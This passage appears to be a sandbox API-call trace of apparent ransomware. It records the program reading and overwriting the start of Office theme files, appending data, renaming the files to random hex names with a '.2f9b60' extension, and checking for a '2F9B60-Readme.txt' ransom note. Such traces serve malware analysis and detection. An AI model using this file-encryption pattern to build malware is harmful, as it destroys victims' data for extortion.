_Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\" [0088.762] wcscat (in: _Dest=0x1b7ad2a0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\2F9B60-Readme.txt" [0088.762] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\document themes 14\\2f9b60-readme.txt")) returned 0x20 [0088.763] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7ad2a0) returned 1 [0088.763] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b784b50) returned 1 Thread: id = 338 os_tid = 0xe78 [0088.753] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Flow.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\flow.thmx")) returned 0x20 [0088.767] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Flow.thmx", dwFileAttributes=0x20) returned 1 [0088.767] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Flow.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\flow.thmx"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xa44 [0088.767] GetFileSizeEx (in: hFile=0xa44, lpFileSize=0x24e5f6e0 | out: lpFileSize=0x24e5f6e0*=65704) returned 1 [0088.767] SetFilePointerEx (in: hFile=0xa44, liDistanceToMove=0x100a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.767] ReadFile (in: hFile=0xa44, lpBuffer=0x24e5f660, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x24e5f6a8, lpOverlapped=0x0 | out: lpBuffer=0x24e5f660*, lpNumberOfBytesRead=0x24e5f6a8*=0x4, lpOverlapped=0x0) returned 1 [0088.769] SetFilePointerEx (in: hFile=0xa44, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.769] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a210 [0088.769] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a240 [0088.769] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a0c0 [0088.769] NtQuerySystemTime (in: CurrentTime=0x24e5f5a0 | out: CurrentTime=0x24e5f5a0*=132462176946370000) returned 0x0 [0088.769] RtlRandomEx (in: Seed=0x24e5f590 | out: Seed=0x24e5f590) returned 0x26339e48 [0088.769] RtlRandomEx (in: Seed=0x24e5f590 | out: Seed=0x24e5f590) returned 0x5aee1ff9 [0088.769] RtlRandomEx (in: Seed=0x24e5f590 | out: Seed=0x24e5f590) returned 0x43025201 [0088.769] RtlRandomEx (in: Seed=0x24e5f590 | out: Seed=0x24e5f590) returned 0x37f0b5bd [0088.769] RtlRandomEx (in: Seed=0x24e5f590 | out: Seed=0x24e5f590) returned 0x460a86b1 [0088.770] RtlRandomEx (in: Seed=0x24e5f590 | out: Seed=0x24e5f590) returned 0x6330148 [0088.770] RtlRandomEx (in: Seed=0x24e5f590 | out: Seed=0x24e5f590) returned 0xbcd375c [0088.770] RtlRandomEx (in: Seed=0x24e5f590 | out: Seed=0x24e5f590) returned 0x4f2abc36 [0088.770] RtlRandomEx (in: Seed=0x24e5f590 | out: Seed=0x24e5f590) returned 0x38e01921 [0088.770] RtlRandomEx (in: Seed=0x24e5f590 | out: Seed=0x24e5f590) returned 0x7173ee0e [0088.770] RtlRandomEx (in: Seed=0x24e5f590 | out: Seed=0x24e5f590) returned 0x728385e9 [0088.770] RtlRandomEx (in: Seed=0x24e5f590 | out: Seed=0x24e5f590) returned 0x1069e8b3 [0088.770] RtlRandomEx (in: Seed=0x24e5f590 | out: Seed=0x24e5f590) returned 0x11133872 [0088.770] RtlRandomEx (in: Seed=0x24e5f590 | out: Seed=0x24e5f590) returned 0x10d7e08e [0088.770] RtlRandomEx (in: Seed=0x24e5f590 | out: Seed=0x24e5f590) returned 0x54f9bac4 [0088.770] RtlRandomEx (in: Seed=0x24e5f590 | out: Seed=0x24e5f590) returned 0x4c3740f [0088.770] RtlRandomEx (in: Seed=0x24e5f590 | out: Seed=0x24e5f590) returned 0x67ed0708 [0088.770] RtlRandomEx (in: Seed=0x24e5f590 | out: Seed=0x24e5f590) returned 0x26062f83 [0088.770] RtlRandomEx (in: Seed=0x24e5f590 | out: Seed=0x24e5f590) returned 0x663b50f8 [0088.770] RtlRandomEx (in: Seed=0x24e5f590 | out: Seed=0x24e5f590) returned 0x48804eec [0088.770] RtlRandomEx (in: Seed=0x24e5f590 | out: Seed=0x24e5f590) returned 0x7fceb23 [0088.770] RtlRandomEx (in: Seed=0x24e5f590 | out: Seed=0x24e5f590) returned 0x5d942b8 [0088.770] RtlRandomEx (in: Seed=0x24e5f590 | out: Seed=0x24e5f590) returned 0x72c09551 [0088.770] RtlRandomEx (in: Seed=0x24e5f590 | out: Seed=0x24e5f590) returned 0x5c5d3f8e [0088.770] RtlRandomEx (in: Seed=0x24e5f590 | out: Seed=0x24e5f590) returned 0x3480ea2b [0088.770] RtlRandomEx (in: Seed=0x24e5f590 | out: Seed=0x24e5f590) returned 0x62bc4ffd [0088.770] RtlRandomEx (in: Seed=0x24e5f590 | out: Seed=0x24e5f590) returned 0x56d5af7f [0088.770] RtlRandomEx (in: Seed=0x24e5f590 | out: Seed=0x24e5f590) returned 0x5390a888 [0088.770] RtlRandomEx (in: Seed=0x24e5f590 | out: Seed=0x24e5f590) returned 0x78dc3702 [0088.770] RtlRandomEx (in: Seed=0x24e5f590 | out: Seed=0x24e5f590) returned 0x40d7111f [0088.770] RtlRandomEx (in: Seed=0x24e5f590 | out: Seed=0x24e5f590) returned 0x69349ef [0088.770] RtlRandomEx (in: Seed=0x24e5f590 | out: Seed=0x24e5f590) returned 0x1c199c5c [0088.780] SetFilePointerEx (in: hFile=0xa44, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.780] ReadFile (in: hFile=0xa44, lpBuffer=0x1ce5d510, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x24e5f600, lpOverlapped=0x0 | out: lpBuffer=0x1ce5d510*, lpNumberOfBytesRead=0x24e5f600*=0x3c00, lpOverlapped=0x0) returned 1 [0088.781] SetFilePointerEx (in: hFile=0xa44, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.781] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97350 [0088.781] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79dff0 [0088.781] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a210 [0088.781] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85a210) returned 1 [0088.781] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x1ce64d30 [0088.781] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a210 [0088.781] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a0c0 [0088.781] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85a0c0) returned 1 [0088.782] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79dff0) returned 1 [0088.782] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97350) returned 1 [0088.782] WriteFile (in: hFile=0xa44, lpBuffer=0x1ce64d30*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x24e5f600, lpOverlapped=0x0 | out: lpBuffer=0x1ce64d30*, lpNumberOfBytesWritten=0x24e5f600*=0x3c00, lpOverlapped=0x0) returned 1 [0088.784] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce64d30) returned 1 [0088.784] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5d510) returned 1 [0088.784] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a0c0 [0088.784] SetFilePointerEx (in: hFile=0xa44, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0088.784] WriteFile (in: hFile=0xa44, lpBuffer=0x1695e0*, nNumberOfBytesToWrite=0x104, lpNumberOfBytesWritten=0x24e5f6b0, lpOverlapped=0x0 | out: lpBuffer=0x1695e0*, lpNumberOfBytesWritten=0x24e5f6b0*=0x104, lpOverlapped=0x0) returned 1 [0088.786] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97350 [0088.786] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79dff0 [0088.786] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a120 [0088.786] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85a120) returned 1 [0088.786] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x12) returned 0x1b82d000 [0088.786] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a120 [0088.786] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b859d90 [0088.787] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b859d90) returned 1 [0088.787] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79dff0) returned 1 [0088.787] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97350) returned 1 [0088.787] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x25) returned 0x1b859d90 [0088.787] sprintf (in: _Dest=0x1b859d90, _Format="%c%c" | out: _Dest="13") returned 2 [0088.787] sprintf (in: _Dest=0x1b859d92, _Format="%c%c" | out: _Dest="ed") returned 2 [0088.787] sprintf (in: _Dest=0x1b859d94, _Format="%c%c" | out: _Dest="2b") returned 2 [0088.787] sprintf (in: _Dest=0x1b859d96, _Format="%c%c" | out: _Dest="68") returned 2 [0088.787] sprintf (in: _Dest=0x1b859d98, _Format="%c%c" | out: _Dest="1d") returned 2 [0088.787] sprintf (in: _Dest=0x1b859d9a, _Format="%c%c" | out: _Dest="49") returned 2 [0088.787] sprintf (in: _Dest=0x1b859d9c, _Format="%c%c" | out: _Dest="5a") returned 2 [0088.787] sprintf (in: _Dest=0x1b859d9e, _Format="%c%c" | out: _Dest="6a") returned 2 [0088.787] sprintf (in: _Dest=0x1b859da0, _Format="%c%c" | out: _Dest="f5") returned 2 [0088.787] sprintf (in: _Dest=0x1b859da2, _Format="%c%c" | out: _Dest="63") returned 2 [0088.787] sprintf (in: _Dest=0x1b859da4, _Format="%c%c" | out: _Dest="56") returned 2 [0088.787] sprintf (in: _Dest=0x1b859da6, _Format="%c%c" | out: _Dest="fd") returned 2 [0088.787] sprintf (in: _Dest=0x1b859da8, _Format="%c%c" | out: _Dest="9d") returned 2 [0088.787] sprintf (in: _Dest=0x1b859daa, _Format="%c%c" | out: _Dest="bd") returned 2 [0088.787] sprintf (in: _Dest=0x1b859dac, _Format="%c%c" | out: _Dest="1c") returned 2 [0088.787] sprintf (in: _Dest=0x1b859dae, _Format="%c%c" | out: _Dest="6d") returned 2 [0088.787] sprintf (in: _Dest=0x1b859db0, _Format="%c%c" | out: _Dest="65") returned 2 [0088.787] sprintf (in: _Dest=0x1b859db2, _Format="%c%c" | out: _Dest="44") returned 2 [0088.787] RtlInitAnsiString (in: DestinationString=0x24e5f728, SourceString="13ed2b681d495a6af56356fd9dbd1c6d6544" | out: DestinationString="13ed2b681d495a6af56356fd9dbd1c6d6544") [0088.787] RtlAnsiStringToUnicodeString (in: DestinationString=0x24e5f6f8, SourceString="13ed2b681d495a6af56356fd9dbd1c6d6544", AllocateDestinationString=1 | out: DestinationString="13ed2b681d495a6af56356fd9dbd1c6d6544") returned 0x0 [0088.787] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x4a) returned 0x1cd9d3d0 [0088.788] wcscat (in: _Dest=0x1b7ad2a0, _Source="13ed2b681" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\13ed2b681") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\13ed2b681" [0088.788] wcscat (in: _Dest=0x1b7ad2a0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\13ed2b681.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\13ed2b681.2f9b60" [0088.788] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\13ed2b681.2f9b60", NtPathName=0x24e5f6d0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\13ed2b681.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0088.788] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xaa) returned 0x106e80 [0088.789] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x106e80) returned 1 [0088.789] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b77ad20) returned 1 [0088.789] NtQueryInformationFile (in: FileHandle=0xa44, IoStatusBlock=0x24e5f738, FileInformation=0x24e5f748, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x24e5f738, FileInformation=0x24e5f748) returned 0x0 [0088.789] NtSetInformationFile (FileHandle=0xa44, IoStatusBlock=0x24e5f738, FileInformation=0x24e5f748, Length=0x28, FileInformationClass=0x4) returned 0x0 [0088.791] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7ad2a0) returned 1 [0088.791] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9d3d0) returned 1 [0088.791] FlushFileBuffers (hFile=0xa44) returned 1 [0088.792] CloseHandle (hObject=0xa44) returned 1 [0088.793] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x90) returned 0x1b7ad2a0 [0088.793] wcscpy (in: _Dest=0x1b7ad2a0, _Source="C:\\Program Files\\Microsoft Office\\Document Themes 14\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\" [0088.793] wcscat (in: _Dest=0x1b7ad2a0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\2F9B60-Readme.txt" [0088.793] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\document themes 14\\2f9b60-readme.txt")) returned 0x20 [0088.793] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7ad2a0) returned 1 [0088.794] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b784be0) returned 1 Thread: id = 339 os_tid = 0xe7c [0088.799] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Foundry.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\foundry.thmx")) returned 0x20 [0088.800] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Foundry.thmx", dwFileAttributes=0x20) returned 1 [0088.801] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Foundry.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\foundry.thmx"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xa44 [0088.801] GetFileSizeEx (in: hFile=0xa44, lpFileSize=0x24f6fa00 | out: lpFileSize=0x24f6fa00*=63508) returned 1 [0088.801] SetFilePointerEx (in: hFile=0xa44, liDistanceToMove=0xf810, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.801] ReadFile (in: hFile=0xa44, lpBuffer=0x24f6f980, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x24f6f9c8, lpOverlapped=0x0 | out: lpBuffer=0x24f6f980*, lpNumberOfBytesRead=0x24f6f9c8*=0x4, lpOverlapped=0x0) returned 1 [0088.804] SetFilePointerEx (in: hFile=0xa44, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.804] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a270 [0088.804] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b859e80 [0088.804] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a1e0 [0088.804] NtQuerySystemTime (in: CurrentTime=0x24f6f8c0 | out: CurrentTime=0x24f6f8c0*=132462176946682000) returned 0x0 [0088.804] RtlRandomEx (in: Seed=0x24f6f8b0 | out: Seed=0x24f6f8b0) returned 0x5e01f6f [0088.804] RtlRandomEx (in: Seed=0x24f6f8b0 | out: Seed=0x24f6f8b0) returned 0x16b94ed3 [0088.805] RtlRandomEx (in: Seed=0x24f6f8b0 | out: Seed=0x24f6f8b0) returned 0x275f3deb [0088.805] RtlRandomEx (in: Seed=0x24f6f8b0 | out: Seed=0x24f6f8b0) returned 0x26d8e7cc [0088.805] RtlRandomEx (in: Seed=0x24f6f8b0 | out: Seed=0x24f6f8b0) returned 0x100db399 [0088.805] RtlRandomEx (in: Seed=0x24f6f8b0 | out: Seed=0x24f6f8b0) returned 0x7f386382 [0088.805] RtlRandomEx (in: Seed=0x24f6f8b0 | out: Seed=0x24f6f8b0) returned 0x3c5184fd [0088.805] RtlRandomEx (in: Seed=0x24f6f8b0 | out: Seed=0x24f6f8b0) returned 0x252f095e [0088.805] RtlRandomEx (in: Seed=0x24f6f8b0 | out: Seed=0x24f6f8b0) returned 0x68a9c8f [0088.805] RtlRandomEx (in: Seed=0x24f6f8b0 | out: Seed=0x24f6f8b0) returned 0x221cff2 [0088.805] RtlRandomEx (in: Seed=0x24f6f8b0 | out: Seed=0x24f6f8b0) returned 0x4cb60657 [0088.805] RtlRandomEx (in: Seed=0x24f6f8b0 | out: Seed=0x24f6f8b0) returned 0x29f11c2 [0088.805] RtlRandomEx (in: Seed=0x24f6f8b0 | out: Seed=0x24f6f8b0) returned 0x5968106a [0088.805] RtlRandomEx (in: Seed=0x24f6f8b0 | out: Seed=0x24f6f8b0) returned 0x70eb3201 [0088.805] RtlRandomEx (in: Seed=0x24f6f8b0 | out: Seed=0x24f6f8b0) returned 0x3859a672 [0088.805] RtlRandomEx (in: Seed=0x24f6f8b0 | out: Seed=0x24f6f8b0) returned 0x3f604827 [0088.805] RtlRandomEx (in: Seed=0x24f6f8b0 | out: Seed=0x24f6f8b0) returned 0x151fdb43 [0088.805] RtlRandomEx (in: Seed=0x24f6f8b0 | out: Seed=0x24f6f8b0) returned 0x4ca607bd [0088.805] RtlRandomEx (in: Seed=0x24f6f8b0 | out: Seed=0x24f6f8b0) returned 0x5bc9b0db [0088.805] RtlRandomEx (in: Seed=0x24f6f8b0 | out: Seed=0x24f6f8b0) returned 0x1fd42628 [0088.805] RtlRandomEx (in: Seed=0x24f6f8b0 | out: Seed=0x24f6f8b0) returned 0x77b71e78 [0088.805] RtlRandomEx (in: Seed=0x24f6f8b0 | out: Seed=0x24f6f8b0) returned 0x7696a745 [0088.805] RtlRandomEx (in: Seed=0x24f6f8b0 | out: Seed=0x24f6f8b0) returned 0x66fa7321 [0088.805] RtlRandomEx (in: Seed=0x24f6f8b0 | out: Seed=0x24f6f8b0) returned 0x616df581 [0088.805] RtlRandomEx (in: Seed=0x24f6f8b0 | out: Seed=0x24f6f8b0) returned 0x6ccc1323 [0088.805] RtlRandomEx (in: Seed=0x24f6f8b0 | out: Seed=0x24f6f8b0) returned 0x676bf2d0 [0088.805] RtlRandomEx (in: Seed=0x24f6f8b0 | out: Seed=0x24f6f8b0) returned 0x4372d9ad [0088.805] RtlRandomEx (in: Seed=0x24f6f8b0 | out: Seed=0x24f6f8b0) returned 0x2b976de7 [0088.805] RtlRandomEx (in: Seed=0x24f6f8b0 | out: Seed=0x24f6f8b0) returned 0x57aa582a [0088.805] RtlRandomEx (in: Seed=0x24f6f8b0 | out: Seed=0x24f6f8b0) returned 0x58b2821d [0088.805] RtlRandomEx (in: Seed=0x24f6f8b0 | out: Seed=0x24f6f8b0) returned 0x67103484 [0088.805] RtlRandomEx (in: Seed=0x24f6f8b0 | out: Seed=0x24f6f8b0) returned 0x74772b8e [0088.814] SetFilePointerEx (in: hFile=0xa44, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.814] ReadFile (in: hFile=0xa44, lpBuffer=0x1ce5d510, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x24f6f920, lpOverlapped=0x0 | out: lpBuffer=0x1ce5d510*, lpNumberOfBytesRead=0x24f6f920*=0x3c00, lpOverlapped=0x0) returned 1 [0088.817] SetFilePointerEx (in: hFile=0xa44, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.817] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97350 [0088.818] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79dff0 [0088.818] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a270 [0088.818] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85a270) returned 1 [0088.818] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x1ce64d30 [0088.818] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a270 [0088.818] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a1e0 [0088.818] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85a1e0) returned 1 [0088.818] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79dff0) returned 1 [0088.818] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97350) returned 1 [0088.818] WriteFile (in: hFile=0xa44, lpBuffer=0x1ce64d30*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x24f6f920, lpOverlapped=0x0 | out: lpBuffer=0x1ce64d30*, lpNumberOfBytesWritten=0x24f6f920*=0x3c00, lpOverlapped=0x0) returned 1 [0088.845] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce64d30) returned 1 [0088.846] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5d510) returned 1 [0088.846] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x1b85a1e0 [0088.846] SetFilePointerEx (in: hFile=0xa44, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0088.846] WriteFile (in: hFile=0xa44, lpBuffer=0x166e00*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x24f6f9d0, lpOverlapped=0x0 | out: lpBuffer=0x166e00*, lpNumberOfBytesWritten=0x24f6f9d0*=0x10a, lpOverlapped=0x0) returned 1 [0088.850] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97350 [0088.850] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79dff0 [0088.850] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b859ee0 [0088.850] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b859ee0) returned 1 [0088.850] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82d000 [0088.850] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b859ee0 [0088.850] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b859d30 [0088.850] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b859d30) returned 1 [0088.851] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79dff0) returned 1 [0088.851] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97350) returned 1 [0088.851] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1cd9f970 [0088.851] sprintf (in: _Dest=0x1cd9f970, _Format="%c%c" | out: _Dest="d4") returned 2 [0088.851] sprintf (in: _Dest=0x1cd9f972, _Format="%c%c" | out: _Dest="06") returned 2 [0088.851] sprintf (in: _Dest=0x1cd9f974, _Format="%c%c" | out: _Dest="65") returned 2 [0088.851] sprintf (in: _Dest=0x1cd9f976, _Format="%c%c" | out: _Dest="f4") returned 2 [0088.851] sprintf (in: _Dest=0x1cd9f978, _Format="%c%c" | out: _Dest="0f") returned 2 [0088.851] sprintf (in: _Dest=0x1cd9f97a, _Format="%c%c" | out: _Dest="fc") returned 2 [0088.851] sprintf (in: _Dest=0x1cd9f97c, _Format="%c%c" | out: _Dest="ca") returned 2 [0088.851] sprintf (in: _Dest=0x1cd9f97e, _Format="%c%c" | out: _Dest="5a") returned 2 [0088.851] sprintf (in: _Dest=0x1cd9f980, _Format="%c%c" | out: _Dest="93") returned 2 [0088.851] sprintf (in: _Dest=0x1cd9f982, _Format="%c%c" | out: _Dest="2e") returned 2 [0088.851] sprintf (in: _Dest=0x1cd9f984, _Format="%c%c" | out: _Dest="ab") returned 2 [0088.851] sprintf (in: _Dest=0x1cd9f986, _Format="%c%c" | out: _Dest="23") returned 2 [0088.851] sprintf (in: _Dest=0x1cd9f988, _Format="%c%c" | out: _Dest="b6") returned 2 [0088.851] sprintf (in: _Dest=0x1cd9f98a, _Format="%c%c" | out: _Dest="6e") returned 2 [0088.851] sprintf (in: _Dest=0x1cd9f98c, _Format="%c%c" | out: _Dest="43") returned 2 [0088.851] sprintf (in: _Dest=0x1cd9f98e, _Format="%c%c" | out: _Dest="ef") returned 2 [0088.851] sprintf (in: _Dest=0x1cd9f990, _Format="%c%c" | out: _Dest="79") returned 2 [0088.851] sprintf (in: _Dest=0x1cd9f992, _Format="%c%c" | out: _Dest="5b") returned 2 [0088.851] sprintf (in: _Dest=0x1cd9f994, _Format="%c%c" | out: _Dest="81") returned 2 [0088.851] sprintf (in: _Dest=0x1cd9f996, _Format="%c%c" | out: _Dest="72") returned 2 [0088.851] sprintf (in: _Dest=0x1cd9f998, _Format="%c%c" | out: _Dest="01") returned 2 [0088.851] sprintf (in: _Dest=0x1cd9f99a, _Format="%c%c" | out: _Dest="8e") returned 2 [0088.851] sprintf (in: _Dest=0x1cd9f99c, _Format="%c%c" | out: _Dest="5c") returned 2 [0088.851] sprintf (in: _Dest=0x1cd9f99e, _Format="%c%c" | out: _Dest="d2") returned 2 [0088.852] RtlInitAnsiString (in: DestinationString=0x24f6fa48, SourceString="d40665f40ffcca5a932eab23b66e43ef795b8172018e5cd2" | out: DestinationString="d40665f40ffcca5a932eab23b66e43ef795b8172018e5cd2") [0088.852] RtlAnsiStringToUnicodeString (in: DestinationString=0x24f6fa18, SourceString="d40665f40ffcca5a932eab23b66e43ef795b8172018e5cd2", AllocateDestinationString=1 | out: DestinationString="d40665f40ffcca5a932eab23b66e43ef795b8172018e5cd2") returned 0x0 [0088.852] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1b7c2210 [0088.852] wcscat (in: _Dest=0x1b7ad2a0, _Source="d40665f40ffc" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\d40665f40ffc") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\d40665f40ffc" [0088.852] wcscat (in: _Dest=0x1b7ad2a0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\d40665f40ffc.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\d40665f40ffc.2f9b60" [0088.852] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\d40665f40ffc.2f9b60", 